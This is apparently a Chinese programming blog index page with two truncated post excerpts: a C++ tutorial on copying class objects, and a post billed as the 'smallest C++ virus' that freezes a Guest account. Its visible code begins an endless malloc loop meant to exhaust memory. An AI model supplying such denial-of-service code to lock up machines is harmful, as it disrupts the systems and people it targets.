摘要: 对于普通类型的对象来说,它们之间的复制是很简单的,例如:int a=100;int b=a; 而类对象与普通对象不同,类对象内部结构一般较为复杂,存在各种成员变量。下面看一个类对象拷贝的简单例子。 #include using namespace std;class CA{public:CA(int b){a=b;}void Show (){coutusing namespace std;clas... 阅读全文
posted @ 2008-08-10 15:49 MokLiu 阅读(287) 评论(0) 推荐(0) 编辑
摘要: 最小的C++病毒---10行卡死Guest权限~Windforce 发表于 2007-11-06 22:52:29 #define NO_DEBUG #define WIN32_LEAN_AND_MEAN #include #include #include int main ( int argc,char *argv[] ) { while (1) { malloc( 0x10000... 阅读全文
posted @ 2008-08-10 05:47 MokLiu 阅读(492) 评论(0) 推荐(0) 编辑